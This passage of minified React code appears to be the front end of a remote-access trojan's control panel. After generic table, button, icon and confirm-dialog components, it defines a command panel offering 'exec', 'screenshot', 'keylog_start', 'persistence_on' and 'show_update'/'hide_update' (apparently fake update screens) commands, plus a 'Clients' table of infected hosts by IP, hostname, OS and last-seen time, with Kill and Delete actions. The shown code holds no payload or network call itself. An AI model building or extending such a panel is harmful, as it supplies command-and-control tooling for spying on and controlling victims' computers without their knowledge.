Zn({className:e,...t}){return(0,H.jsx)(`table`,{className:Yn(`min-w-full text-left text-xs`,e),...t})}function Qn({className:e,...t}){return(0,H.jsx)(`thead`,{className:Yn(`bg-slate-900/80 text-slate-300`,e),...t})}function $n({className:e,...t}){return(0,H.jsx)(`tbody`,{className:Yn(`divide-y divide-slate-800 bg-slate-950/40 text-slate-200`,e),...t})}function er({className:e,...t}){return(0,H.jsx)(`th`,{className:Yn(`px-3 py-2 font-medium whitespace-nowrap`,e),...t})}function tr({className:e,...t}){return(0,H.jsx)(`td`,{className:Yn(`px-3 py-2 whitespace-nowrap`,e),...t})}function nr(...e){return e.filter(Boolean).join(` `)}var U=(0,_.forwardRef)(function({children:e,className:t,isLoading:n,variant:r=`primary`,size:i=`md`,disabled:a,...o},s){return(0,H.jsx)(`button`,{ref:s,disabled:a||n,className:nr(`inline-flex items-center justify-center font-medium transition-all duration-150 ease-out focus:outline-none disabled:opacity-50 disabled:pointer-events-none active:scale-[0.97] rounded-md`,{primary:`bg-slate-800/40 text-slate-200 border border-slate-600/50 hover:bg-slate-800/70 hover:border-slate-500 shadow-sm`,secondary:`bg-slate-900/60 text-slate-300 border border-slate-700/60 hover:bg-slate-800/60 hover:border-slate-600 shadow-sm`,danger:`bg-red-950/30 text-red-400 border border-red-900/50 hover:bg-red-900/50 hover:border-red-800 shadow-sm`,ghost:`bg-transparent text-slate-400 border border-transparent hover:text-slate-200 hover:bg-slate-800/40`}[r],{sm:`text-xs px-3 py-1.5 gap-2`,md:`text-[13px] px-4 py-2 gap-2`,lg:`text-sm px-5 py-2.5 gap-2`}[i],t),...o,children:n?(0,H.jsxs)(`div`,{className:`flex items-center justify-center gap-2`,children:[(0,H.jsxs)(`svg`,{className:`animate-spin h-4 w-4 text-white`,xmlns:`http://www.w3.org/2000/svg`,fill:`none`,viewBox:`0 0 24 24`,style:{minWidth:`16px`,minHeight:`16px`},children:[(0,H.jsx)(`circle`,{className:`opacity-25`,cx:`12`,cy:`12`,r:`10`,stroke:`currentColor`,strokeWidth:`4`}),(0,H.jsx)(`path`,{className:`opacity-100`,fill:`currentColor`,d:`M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z`})]}),(0,H.jsx)(`span`,{className:`opacity-90 truncate`,children:e})]}):e})}),rr=e=>e.replace(/([a-z0-9])([A-Z])/g,`$1-$2`).toLowerCase(),ir=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(e,t,n)=>n?n.toUpperCase():t.toLowerCase()),ar=e=>{let t=ir(e);return t.charAt(0).toUpperCase()+t.slice(1)},or=(...e)=>
11e.filter((e,t,n)=>!!e&&e.trim()!==``&&n.indexOf(e)===t).join(` `).trim(),sr=e=>{for(let t in e)if(t.startsWith(`aria-`)||t===`role`||t===`title`)return!0},cr={xmlns:`http://www.w3.org/2000/svg`,width:24,height:24,viewBox:`0 0 24 24`,fill:`none`,stroke:`currentColor`,strokeWidth:2,strokeLinecap:`round`,strokeLinejoin:`round`},lr=(0,_.forwardRef)(({color:e=`currentColor`,size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:i=``,children:a,iconNode:o,...s},c)=>(0,_.createElement)(`svg`,{ref:c,...cr,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:or(`lucide`,i),...!a&&!sr(s)&&{"aria-hidden":`true`},...s},[...o.map(([e,t])=>(0,_.createElement)(e,t)),...Array.isArray(a)?a:[a]])),W=(e,t)=>{let n=(0,_.forwardRef)(({className:n,...r},i)=>(0,_.createElement)(lr,{ref:i,iconNode:t,className:or(`lucide-${rr(ar(e))}`,`lucide-${e}`,n),...r}));return n.displayName=ar(e),n},ur=W(`activity`,[[`path`,{d:`M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2`,key:`169zse`}]]),dr=W(`bell`,[[`path`,{d:`M10.268 21a2 2 0 0 0 3.464 0`,key:`vwvbt9`}],[`path`,{d:`M3.262 15.326A1 1 0 0 0 4 17h16a1 1 0 0 0 .74-1.673C19.41 13.956 18 12.499 18 8A6 6 0 0 0 6 8c0 4.499-1.411 5.956-2.738 7.326`,key:`11g9vi`}]]),fr=W(`check`,[[`path`,{d:`M20 6 9 17l-5-5`,key:`1gmf2c`}]]),pr=W(`circle-user`,[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`circle`,{cx:`12`,cy:`10`,r:`3`,key:`ilqhr7`}],[`path`,{d:`M7 20.662V19a2 2 0 0 1 2-2h6a2 2 0 0 1 2 2v1.662`,key:`154egf`}]]),mr=W(`code`,[[`path`,{d:`m16 18 6-6-6-6`,key:`eg8j8`}],[`path`,{d:`m8 6-6 6 6 6`,key:`ppft3o`}]]),hr=W(`cookie`,[[`path`,{d:`M12 2a10 10 0 1 0 10 10 4 4 0 0 1-5-5 4 4 0 0 1-5-5`,key:`laymnq`}],[`path`,{d:`M8.5 8.5v.01`,key:`ue8clq`}],[`path`,{d:`M16 15.5v.01`,key:`14dtrp`}],[`path`,{d:`M12 12v.01`,key:`u5ubse`}],[`path`,{d:`M11 17v.01`,key:`1hyl5a`}],[`path`,{d:`M7 14v.01`,key:`uct60s`}]]),gr=W(`copy`,[[`rect`,{width:`14`,height:`14`,x:`8`,y:`8`,rx:`2`,ry:`2`,key:`17jyea`}],[`path`,{d:`M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2`,key:`zix9uf`}]]),_r=W(`cpu`,[[`path`,{d:`M12 20v2`,key:`1lh1kg`}],[`path`,{d:`M12 2v2`,key:`tus03m`}],[`path`,{d:`M17 20v2`,key:`1rnc9c`}],[`path`,{d:`M17 2v2`,key:`11trls`}],[`path`,{d:`M2 12h2`,key:`1t8f8n`}],[`path`,{d:`M2 17h2`,key:`7oei6x`}],[`path`,{d:`M2 7h2`,key:`asdhe0`}],[`path`,{d:`M20 12h2`,key:`1q8mjw`}],[`path`,{d:`M20 17h2`,key:`1fpfkl`}],[`path`,{d:`M20 7h2`,key:`1o8tra`}],[`path`,{d:`M7 20v2`,key:`4gnj0m`}],[`path`,{d:`M7 2v2`,key:`1i4yhu`}],[`rect`,{x:`4`,y:`4`,width:`16`,height:`16`,rx:`2`,key:`1vbyd7`}],[`rect`,{x:`8`,y:`8`,width:`8`,height:`8`,rx:`1`,key:`z9xiuo`}]]),vr=W(`download`,[[`path`,{d:`M12 15V3`,key:`m9g1x1`}],[`path`,{d:`M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4`,key:`ih7n3h`}],[`path`,{d:`m7 10 5 5 5-5`,key:`brsn70`}]]),yr=W(`eye`,[[`path`,{d:`M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0`,key:`1nclc0`}],[`circle`,{cx:`12`,cy:`12`,r:`3`,key:`1v7zrd`}]]),br=W(`file-down`,[[`path`,{d:`M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z`,key:`1oefj6`}],[`path`,{d:`M14 2v5a1 1 0 0 0 1 1h5`,key:`wfsgrz`}],[`path`,{d:`M12 18v-6`,key:`17g6i2`}],[`path`,{d:`m9 15 3 3 3-3`,key:`1npd3o`}]]),xr=W(`folder-open`,[[`path`,{d:`m6 14 1.5-2.9A2 2 0 0 1 9.24 10H20a2 2 0 0 1 1.94 2.5l-1.54 6a2 2 0 0 1-1.95 1.5H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.69.9l.81 1.2a2 2 0 0 0 1.67.9H18a2 2 0 0 1 2 2v2`,key:`usdka0`}]]),Sr=W(`history`,[[`path`,{d:`M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8`,key:`1357e3`}],[`path`,{d:`M3 3v5h5`,key:`1xhq8a`}],[`path`,{d:`M12 7v5l4 2`,key:`1fdv2h`}]]),Cr=W(`image`,[[`rect`,{width:`18`,height:`18`,x:`3`,y:`3`,rx:`2`,ry:`2`,key:`1m3agn`}],[`circle`,{cx:`9`,cy:`9`,r:`2`,key:`af1f0g`}],[`path`,{d:`m21 15-3.086-3.086a2 2 0 0 0-2.828 0L6 21`,key:`1xmnt7`}]]),wr=W(`keyboard`,[[`path`,{d:`M10 8h.01`,key:`1r9ogq`}],[`path`,{d:`M12 12h.01`,key:`1mp3jc`}],[`path`,{d:`M14 8h.01`,key:`1primd`}],[`path`,{d:`M16 12h.01`,key:`1l6xoz`}],[`path`,{d:`M18 8h.01`,key:`emo2bl`}],[`path`,{d:`M6 8h.01`,key:`x9i8wu`}],[`path`,{d:`M7 16h10`,key:`wp8him`}],[`path`,{d:`M8 12h.01`,key:`czm47f`}
11],[`rect`,{width:`20`,height:`16`,x:`2`,y:`4`,rx:`2`,key:`18n3k1`}]]),Tr=W(`layout-dashboard`,[[`rect`,{width:`7`,height:`9`,x:`3`,y:`3`,rx:`1`,key:`10lvy0`}],[`rect`,{width:`7`,height:`5`,x:`14`,y:`3`,rx:`1`,key:`16une8`}],[`rect`,{width:`7`,height:`9`,x:`14`,y:`12`,rx:`1`,key:`1hutg5`}],[`rect`,{width:`7`,height:`5`,x:`3`,y:`16`,rx:`1`,key:`ldoo1y`}]]),Er=W(`link`,[[`path`,{d:`M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71`,key:`1cjeqo`}],[`path`,{d:`M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71`,key:`19qd67`}]]),Dr=W(`list-checks`,[[`path`,{d:`M13 5h8`,key:`a7qcls`}],[`path`,{d:`M13 12h8`,key:`h98zly`}],[`path`,{d:`M13 19h8`,key:`c3s6r1`}],[`path`,{d:`m3 17 2 2 4-4`,key:`1jhpwq`}],[`path`,{d:`m3 7 2 2 4-4`,key:`1obspn`}]]),Or=W(`log-out`,[[`path`,{d:`m16 17 5-5-5-5`,key:`1bji2h`}],[`path`,{d:`M21 12H9`,key:`dn1m92`}],[`path`,{d:`M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4`,key:`1uf3rs`}]]),kr=W(`monitor-smartphone`,[[`path`,{d:`M18 8V6a2 2 0 0 0-2-2H4a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h8`,key:`10dyio`}],[`path`,{d:`M10 19v-3.96 3.15`,key:`1irgej`}],[`path`,{d:`M7 19h5`,key:`qswx4l`}],[`rect`,{width:`6`,height:`10`,x:`16`,y:`12`,rx:`2`,key:`1egngj`}]]),Ar=W(`monitor-x`,[[`path`,{d:`m14.5 12.5-5-5`,key:`1jahn5`}],[`path`,{d:`m9.5 12.5 5-5`,key:`1k2t7b`}],[`rect`,{width:`20`,height:`14`,x:`2`,y:`3`,rx:`2`,key:`48i651`}],[`path`,{d:`M12 17v4`,key:`1riwvh`}],[`path`,{d:`M8 21h8`,key:`1ev6f3`}]]),jr=W(`play`,[[`path`,{d:`M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z`,key:`10ikf1`}]]),Mr=W(`plus`,[[`path`,{d:`M5 12h14`,key:`1ays0h`}],[`path`,{d:`M12 5v14`,key:`s699le`}]]),Nr=W(`save`,[[`path`,{d:`M15.2 3a2 2 0 0 1 1.4.6l3.8 3.8a2 2 0 0 1 .6 1.4V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2z`,key:`1c8476`}],[`path`,{d:`M17 21v-7a1 1 0 0 0-1-1H8a1 1 0 0 0-1 1v7`,key:`1ydtos`}],[`path`,{d:`M7 3v4a1 1 0 0 0 1 1h7`,key:`t51u73`}]]),Pr=W(`scan`,[[`path`,{d:`M3 7V5a2 2 0 0 1 2-2h2`,key:`aa7l1z`}],[`path`,{d:`M17 3h2a2 2 0 0 1 2 2v2`,key:`4qcy5o`}],[`path`,{d:`M21 17v2a2 2 0 0 1-2 2h-2`,key:`6vwrx8`}],[`path`,{d:`M7 21H5a2 2 0 0 1-2-2v-2`,key:`ioqczr`}]]),Fr=W(`search`,[[`path`,{d:`m21 21-4.34-4.34`,key:`14j7rj`}],[`circle`,{cx:`11`,cy:`11`,r:`8`,key:`4ej97u`}]]),Ir=W(`server`,[[`rect`,{width:`20`,height:`8`,x:`2`,y:`2`,rx:`2`,ry:`2`,key:`ngkwjq`}],[`rect`,{width:`20`,height:`8`,x:`2`,y:`14`,rx:`2`,ry:`2`,key:`iecqi9`}],[`line`,{x1:`6`,x2:`6.01`,y1:`6`,y2:`6`,key:`16zg32`}],[`line`,{x1:`6`,x2:`6.01`,y1:`18`,y2:`18`,key:`nzw8ys`}]]),Lr=W(`settings`,[[`path`,{d:`M9.671 4.136a2.34 2.34 0 0 1 4.659 0 2.34 2.34 0 0 0 3.319 1.915 2.34 2.34 0 0 1 2.33 4.033 2.34 2.34 0 0 0 0 3.831 2.34 2.34 0 0 1-2.33 4.033 2.34 2.34 0 0 0-3.319 1.915 2.34 2.34 0 0 1-4.659 0 2.34 2.34 0 0 0-3.32-1.915 2.34 2.34 0 0 1-2.33-4.033 2.34 2.34 0 0 0 0-3.831A2.34 2.34 0 0 1 6.35 6.051a2.34 2.34 0 0 0 3.319-1.915`,key:`1i5ecw`}],[`circle`,{cx:`12`,cy:`12`,r:`3`,key:`1v7zrd`}]]),Rr=W(`shield-check`,[[`path`,{d:`M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z`,key:`oel41y`}],[`path`,{d:`m9 12 2 2 4-4`,key:`dzmm74`}]]),zr=W(`shield`,[[`path`,{d:`M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z`,key:`oel41y`}]]),Br=W(`square-check-big`,[[`path`,{d:`M21 10.656V19a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h12.344`,key:`2acyp4`}],[`path`,{d:`m9 11 3 3L22 4`,key:`1pflzl`}]]),Vr=W(`square-pen`,[[`path`,{d:`M12 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7`,key:`1m0v6g`}],[`path`,{d:`M18.375 2.625a1 1 0 0 1 3 3l-9.013 9.014a2 2 0 0 1-.853.505l-2.873.84a.5.5 0 0 1-.62-.62l.84-2.873a2 2 0 0 1 .506-.852z`,key:`ohrbg2`}]]),Hr=W(`square`,[[`rect`,{width:`18`,height:`18`,x:`3`,y:`3`,rx:`2`,key:`afitv7`}]]),Ur=W(`trash-2`,[[`path`,{d:`M10 11v6`,key:`nco0om`}],[`path`,{d:`M14 11v6`,key:`outv1u`}],[`path`,{d:`M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6`,key:`miytrc`}],[`path`,{d:`M3 6h18`,key:`d0wm0j`}],[`path`,{d:`M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2`,key:`e791ji`}]]),Wr=W(`triangle-alert`,[[`path`,{d:`m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3`,key:`wmoenq`}],[`path`,{d:`M12 9v4`,key:`juzpu7`}],[`path`,{d:`M12 17h.01`,key:`p32p05`}]]),Gr=W(`upload`,[[`path`,{d:`M12 3v12`,key:`1x0j5s`}],[`path`,{d:`m17 8-5-5-5 5`,key:`7q97r8`}],[`path`,{d:`M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4`,key:`ih7n3h`}]]),Kr=W(`user-plus`,[[`path`,{d:`M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2`,key:`1yyitq`}],[`circle`,{cx:`9`,cy:`7`,r:`4`,key:`nufk8`}],[`line`,{x1:`19`,x2:`19`,y1:`8`,y2:`14`,key:`1bvyxn`}],[`line`,{x1:`22`,x2:`16`,y1:`11`,y2:`11`,key:`1shjgl`}]]),qr=W(`user`,[[`path`,{d:`M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2`,key:`975kel`}],[`circle`,{cx:`12`,cy:`7`,r:`4`,key:`17ys0d`}]]),Jr=W(`users`,[[`path`,{d:`M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2`,key:`1yyitq`}],[`path`,{d:`M16 3.128a4 4 0 0 1 0 7.744`,key:`16gr8j`}],[`path`,{d:`M22 21v-2a4 4 0 0 0-3-3.87`,key:`kshegd`}],[`circle`,{cx:`9`,cy:`7`,r:`4`,key:`nufk8`}]]),Yr=W(`x`,[[`path`,{d:`M18 6 6 18`,key:`1bl5f8`}],[`path`,{d:`m6 6 12 12`,key:`d8bk6v`}
11]]),Xr=W(`zap`,[[`path`,{d:`M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z`,key:`1xq2db`}]]);function Zr({open:e,title:t=`Confirm Action`,message:n,confirmLabel:r=`Confirm`,cancelLabel:i=`Cancel`,variant:a=`danger`,onConfirm:o,onCancel:s}){let c=(0,_.useRef)(null);if((0,_.useEffect)(()=>{if(e){let e=setTimeout(()=>c.current?.focus(),50);return()=>clearTimeout(e)}},[e]),(0,_.useEffect)(()=>{let t=t=>{e&&t.key===`Escape`&&s()};return window.addEventListener(`keydown`,t),()=>window.removeEventListener(`keydown`,t)},[e,s]),!e)return null;let l=a===`danger`?`#ff4444`:a===`warning`?`#ffaa00`:`#00d4ff`,u=a===`danger`?`rgba(255,68,68,0.12)`:a===`warning`?`rgba(255,170,0,0.12)`:`rgba(0,212,255,0.12)`,d=a===`danger`?Ur:Wr;return(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(`style`,{children:` 12 @keyframes cm-backdrop-in { 13 from { opacity: 0; } 14 to { opacity: 1; } 15 } 16 @keyframes cm-panel-in { 17 from { opacity: 0; transform: scale(0.93) translateY(-10px); } 18 to { opacity: 1; transform: scale(1) translateY(0); } 19 } 20 .cm-backdrop { 21 animation: cm-backdrop-in 0.15s ease forwards; 22 } 23 .cm-panel { 24 animation: cm-panel-in 0.18s cubic-bezier(0.34,1.2,0.64,1) forwards; 25 } 26 .cm-confirm-btn { 27 position: relative; 28 overflow: hidden; 29 transition: box-shadow 0.2s, transform 0.15s; 30 } 31 .cm-confirm-btn::before { 32 content: ''; 33 position: absolute; 34 top: 0; left: -100%; 35 width: 100%; height: 100%; 36 background: linear-gradient(90deg, transparent, rgba(255,255,255,0.12), transparent); 37 transition: left 0.4s ease; 38 } 39 .cm-confirm-btn:hover::before { left: 100%; } 40 .cm-confirm-btn:hover { transform: translateY(-1px); } 41 .cm-confirm-btn:active { transform: scale(0.97); } 42 .cm-cancel-btn { 43 transition: background 0.2s, border-color 0.2s; 44 } 45 .cm-cancel-btn:hover { 46 background: rgba(255,255,255,0.07) !important; 47 border-color: rgba(255,255,255,0.3) !important; 48 } 49 `}),(0,H.jsx)(`div`,{className:`cm-backdrop`,onClick:s,style:{position:`fixed`,inset:0,background:`rgba(0,0,0,0.72)`,backdropFilter:`blur(3px)`,zIndex:9998,display:`flex`,alignItems:`center`,justifyContent:`center`},children:(0,H.jsxs)(`div`,{className:`cm-panel`,onClick:e=>e.stopPropagation(),style:{width:`100%`,maxWidth:`380px`,background:`#0d1117`,border:`1px solid ${l}55`,borderRadius:`6px`,boxShadow:`0 0 40px ${l}22, 0 20px 60px rgba(0,0,0,0.6)`,fontFamily:`'Courier New', monospace`,zIndex:9999,overflow:`hidden`},children:[(0,H.jsxs)(`div`,{style:{display:`flex`,alignItems:`center`,justifyContent:`space-between`,padding:`10px 14px`,borderBottom:`1px solid ${l}33`,background:`${l}0a`},children:[(0,H.jsx)(`div`,{style:{display:`flex`,alignItems:`center`,gap:`8px`},children:(0,H.jsxs)(`span`,{style:{color:l,fontSize:`11px`,letterSpacing:`2px`,textTransform:`uppercase`,fontWeight:700},children:[`â `,t]})}),(0,H.jsx)(`button`,{onClick:s,style:{background:`none`,border:`none`,color:`rgba(255,255,255,0.35)`,cursor:`pointer`,padding:`2px`},children:(0,H.jsx)(Yr,{size:14})})]}),(0,H.jsxs)(`div`,{style:{padding:`24px 20px`},children:[(0,H.jsxs)(`div`,{style:{display:`flex`,gap:`16px`,alignItems:`flex-start`,marginBottom:`28px`},children:[(0,H.jsx)(`div`,{style:{flexShrink:0,width:`38px`,height:`38px`,borderRadius:`4px`,background:u,border:`1px solid ${l}44`,display:`flex`,alignItems:`center`,justifyContent:`center`},children:(0,H.jsx)(d,{size:18,color:l})}),(0,H.jsx)(`p`,{style:{margin:0,color:`rgba(255,255,255,0.8)`,fontSize:`13px`,lineHeight:`1.6`,letterSpacing:`0.3px`},children:n})]}),(0,H.jsxs)(`div`,{style:{display:`flex`,gap:`10px`,justifyContent:`flex-end`},children:[(0,H.jsx)(`button`,{onClick:s,className:`cm-cancel-btn`,style:{padding:`9px 20px`,background:`transparent`,border:`1px solid rgba(255,255,255,0.18)`,borderRadius:`4px`,color:`rgba(255,255,255,0.55)`,fontSize:`11px`,fontFamily:`'Courier New', monospace`,letterSpacing:`2px`,textTransform:`uppercase`,cursor:`pointer`,fontWeight:700},children:i}),(0,H.jsx)(`button`,{ref:c,onClick:o,className:`cm-confirm-btn`,style:{padding:`9px 22px`,background:`${l}18`,border:`1px solid ${l}`,borderRadius:`4px`,color:l,fontSize:`11px`,fontFamily:`'Courier New', monospace`,letterSpacing:`2px`,textTransform:`uppercase`,cursor:`pointer`,fontWeight:700,boxShadow:`0 0 10px ${l}33`},children:r})]})]}),(0,H.jsx)(`div`,{style:{height:`2px`,background:`linear-gradient(90deg, transparent, ${l}88, transparent)`}})]})})]})}var Qr=[`exec`,`screenshot`,`process_list`,`keylog_start`,`keylog_stop`,`persistence_on`,`persistence_off`,`show_update`,`hide_update`];function $r({onSendCommand:e,output:t}){let[n,r]=(0,_.useState)(Qr[0]),[i,a]=(0,_.useState)(``),[o,s]=(0,_.useState)([]),[c,l]=(0,_.useState)(!1),u=(0,_.useRef)(null);(0,_.useEffect)(()=>{u.current&&(u.current.scrollTop=u.current.scrollHeight)},[t]);let d=(0,_.useMemo)(()=>{let e=i.trim();return e.length>0?e:n},[i,n]),f=async t=>{let n=t.trim();if(n){l(!0);try{await e(n),await new Promise(e=>setTimeout(e,400))}finally{l(!1)}s(e=>[n,...e.filter(e=>e!==n)].slice(0,20))}},p=async()=>{await f(d)},m=async e=>{a(e),await f(e)};return(0,H.jsxs)(`section`,{className:`panel min-w-0 p-4`,children:[(0,H.jsx)(`div`,{className:`mb-4 flex items-center justify-between`,children:(0,H.jsx)(qn,{children:`Command Panel`})}),(0,H.jsxs)(`div`,{className:`grid min-w-0 gap-3 md:grid-cols-[220px_minmax(0,1fr)_auto]`,children:[(0,H.jsx)(Wn,{value:n,onChange:e=>r(e.target.value),children:Qr.map(e=>(0,H.jsx)(`option`,{value:e,children:e},e))}),(0,H.jsx)(Un,{type:`text`,value:i,onChange:e=>a(e.target.value),onKeyDown:e=>{e.key===`Enter`&&(e.preventDefault(),p())},placeholder:`Custom command (overrides dropdown)`}),(0,H.jsx)(U,{type:`button`,onClick:()=>{p()},disabled:!d.trim(),isLoading:c,variant:`primary`,className:`rounded-lg bg-brand-600 px-4 py-2 text-sm font-medium text-white transition hover:bg-brand-500`,children:`Send`})]}),(0,H.jsxs)(`div`,{className:`mt-4`,children:[(0,H.jsx)(Jn,{className:`mb-2`,children:`Command History`}),(0,H.jsx)(`div`,{className:`flex flex-wrap gap-2`,children:o.length===0?(0,H.jsx)(`span`,{className:`text-sm text-slate-500`,children:`No commands sent yet.`}):o.map(e=>(0,H.jsx)(U,{type:`button`,onClick:()=>{m(e)},disabled:c,variant:`ghost`,className:`rounded-md border border-slate-700 bg-slate-900 px-3 py-1.5 text-xs text-slate-200 transition hover:border-brand-500 hover:text-white`,title:`Click to re-run`,children:e},e))})]}),(0,H.jsxs)(`div`,{className:`mt-4`,children:[(0,H.jsx)(Jn,{className:`mb-2`,children:`Output`}),(0,H.jsx)(`pre`,{ref:u,className:`max-h-64 min-w-0 overflow-auto whitespace-pre-wrap break-all rounded-lg border border-slate-800 bg-slate-950/70 p-3 font-mono text-xs leading-relaxed text-slate-200`,children:t?.trim()?t:`No output yet.`})]})]})}
49var ei=[{key:`id`,label:`ID`},{key:`ip`,label:`IP`},{key:`hostname`,label:`Hostname`},{key:`os`,label:`OS`},{key:`status`,label:`Status`},{key:`lastSeen`,label:`Last Seen`}];function ti(e,t,n){let r=e.toLowerCase(),i=t.toLowerCase();if(r===i)return 0;let a=r>i?1:-1;return n===`asc`?a:-a}function ni({clients:e,onSelectClient:t,selectedClientId:n,onDeleteClient:r,onKillClient:i,heartbeats:a,className:o}){let[s,c]=(0,_.useState)(``),[l,u]=(0,_.useState)(`lastSeen`),[d,f]=(0,_.useState)(`desc`),p=(0,_.useMemo)(()=>{let t=s.trim().toLowerCase();return[...t?e.filter(e=>{let n=e.lastSeenFormatted||new Date(e.lastSeen).toLocaleString();return e.id.toLowerCase().includes(t)||e.ip.toLowerCase().includes(t)||e.hostname.toLowerCase().includes(t)||e.os.toLowerCase().includes(t)||e.status.toLowerCase().includes(t)||n.toLowerCase().includes(t)}):e].sort((e,t)=>{if(l===`lastSeen`){let n=e.lastSeen,r=t.lastSeen,i=n>r?1:n<r?-1:0;return d===`asc`?i:-i}else return ti(String(e[l]),String(t[l]),d)})},[e,s,d,l]),m=e=>{if(l===e){f(e=>e===`asc`?`desc`:`asc`);return}u(e),f(`asc`)};return(0,H.jsxs)(`section`,{className:`panel min-w-0 overflow-hidden p-4 ${o??``}`,children:[(0,H.jsxs)(`div`,{className:`mb-4 flex items-center justify-between gap-3`,children:[(0,H.jsx)(qn,{children:`Clients`}),(0,H.jsx)(Un,{type:`text`,value:s,onChange:e=>c(e.target.value),placeholder:`Search by ID, IP, hostname, OS...`,className:`max-w-xs`})]}),(0,H.jsx)(Xn,{className:`scrollbar-hidden max-h-112 overflow-auto`,children:(0,H.jsxs)(Zn,{children:[(0,H.jsx)(Qn,{children:(0,H.jsxs)(`tr`,{children:[ei.map(e=>{let t=l===e.key?d===`asc`?` â²`:` â¼`:``;return(0,H.jsx)(er,{className:`sticky top-0 z-10 bg-slate-900/95 backdrop-blur`,children:(0,H.jsxs)(`button`,{type:`button`,onClick:()=>m(e.key),className:`inline-flex items-center text-slate-300 transition hover:text-slate-100`,children:[e.label,(0,H.jsx)(`span`,{className:`ml-1 text-xs text-slate-500`,children:t})]})},e.key)}),r?(0,H.jsx)(er,{className:`sticky top-0 z-10 bg-slate-900/95 backdrop-blur`,children:`Actions`}):null]})}),(0,H.jsx)($n,{children:p.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(tr,{colSpan:r?7:6,className:`py-8 text-center text-sm text-slate-400`,children:`No clients match your search.`})}):p.map(e=>{let o=e.status.toLowerCase()===`online`,s=n===e.id,c=o?a?.[e.id]:void 0;return(0,H.jsxs)(`tr`,{onClick:()=>t(e),className:`cursor-pointer transition ${s?`bg-brand-600/25 ring-1 ring-inset ring-brand-500/50`:`hover:bg-slate-900/70`}`,children:[(0,H.jsx)(tr,{className:`font-medium text-slate-100`,children:e.id}),(0,H.jsx)(tr,{children:e.ip}),(0,H.jsx)(tr,{children:e.hostname}),(0,H.jsx)(tr,{children:e.os}),(0,H.jsx)(tr,{children:(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-2`,children:[(0,H.jsx)(`span`,{className:`inline-block size-2 rounded-full ${o?`bg-emerald-500`:`bg-red-500`}${c?` hb-dot-breathe`:``}`}),(0,H.jsx)(`span`,{className:`${o?`text-emerald-400`:`text-red-400`}${c?` hb-text-breathe`:``}`,children:e.status}),e.blacklisted?(0,H.jsx)(`span`,{className:`ml-2 px-2 py-0.5 text-xs font-bold rounded bg-red-900/50 text-red-300 border border-red-700/50`,title:e.blacklist_reason||`Blacklisted`,children:`ð´ BL`}):null]},c??`static`)}),(0,H.jsx)(tr,{className:`text-slate-400`,children:e.lastSeenFormatted||new Date(e.lastSeen).toLocaleString()}),r||i?(0,H.jsx)(tr,{children:(0,H.jsxs)(`div`,{className:`flex gap-1`,children:[i?(0,H.jsx)(`button`,{type:`button`,onClick:t=>{t.stopPropagation(),i(e)},className:`rounded-md border border-orange-700/50 bg-orange-900/20 px-2 py-1 text-xs font-medium text-orange-300 transition hover:bg-orange-900/40`,children:`Kill`}):null,r?(0,H.jsx)(`button`,{type:`button`,onClick:t=>{t.stopPropagation(),r(e)},className:`rounded-md border border-red-700/50 bg-red-900/20 px-2 py-1 text-xs font-medium text-red-300 transition hover:bg-red-900/40`,children:`Delete`}):null]})}):null]},e.id)})})]})})]})}var 